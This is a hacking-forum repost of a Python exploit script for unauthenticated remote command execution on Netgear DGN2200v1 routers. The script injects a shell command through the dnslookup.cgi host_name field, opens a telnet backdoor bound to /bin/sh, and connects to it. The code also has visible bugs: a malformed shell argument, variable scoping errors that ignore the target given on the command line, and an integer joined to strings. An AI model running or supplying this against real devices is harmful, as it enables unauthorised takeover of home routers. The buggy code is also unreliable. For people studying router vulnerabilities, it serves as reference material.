Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Netgear DGN2200v1 - Remote Command Execution (RCE) (Unauthenticated)

 Share


Recommended Posts

# Exploit Title: Netgear DGN2200v1 - Remote Command Execution (RCE) (Unauthenticated)
# Date: 02.07.2021
# Exploit Author: SivertPL
# Vendor Homepage: https://www.netgear.com/
# Version: All prior to v1.0.0.60

#!/usr/bin/python

"""
NETGEAR DGN2200v1 Unauthenticated Remote Command Execution

Author: SivertPL (kroppoloe@protonmail.ch)
Date: 02.07.2021
Status: Patched in some models
Version: All prior to v1.0.0.60
Impact: Critical 

CVE: No CVE number assigned
PSV: PSV-2020-0363, PSV-2020-0364, PSV-2020-0365


References: 
    1) https://www.microsoft.com/security/blog/2021/06/30/microsoft-finds-new-netgear-firmware-vulnerabilities-that-could-lead-to-identity-theft-and-full-system-compromise/
    2) https://kb.netgear.com/000062646/Security-Advisory-for-Multiple-HTTPd-Authentication-Vulnerabilities-on-DGN2200v1


The exploit script only works on UNIX-based systems.

This ancient vulnerability works on other models utilizing Bezeq firmware, so not just DGN2200v1 is vulnerable. It is estimated that around 7-10 other models might be or might have been vulnerable in the past.
This is a very old exploit, dating back to 2017, so forgive me for Python2.7 lol.

"""

import sys
import requests
import os

target_ip = "192.168.0.1"
telnet_port = 666
sent = False

def main():
    if len(sys.argv) < 3:
        print "./dgn2200_pwn.py <router ip> <backdoor-port>"
        exit()

    target_ip = sys.argv[1]
    telnet_port = int(sys.argv[2])
    print "[+] Sending the payload to " + target_ip + " and opening the backdoor ..."
    send_payload()
    print "[+] Trying to connect to the backdoor for " + str(telnet_port) + " ..."
    print "[!] If it fails to connect it means the target is probably not vulnerable"
    spawn_shell()

def send_payload():
    try:
        requests.get("http://" + target_ip + "/dnslookup.cgi?host_name=www.google.com; /usr/sbin/telnetd -p " + str(telnet_port) + " -l /bin/sh" + str(telnet_port) + "&lookup=Lookup&ess_=true")
        sent = True
    except Exception:
        sent = False
        print "[-] Unknown error, target might not be vulnerable."

def spawn_shell():
    if sent:
        print "[+] Dropping a shell..."
        os.system("telnet " + target_ip + " " + telnet_port)
    else:
        exit()


if __name__ == "__main__":
    main()
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...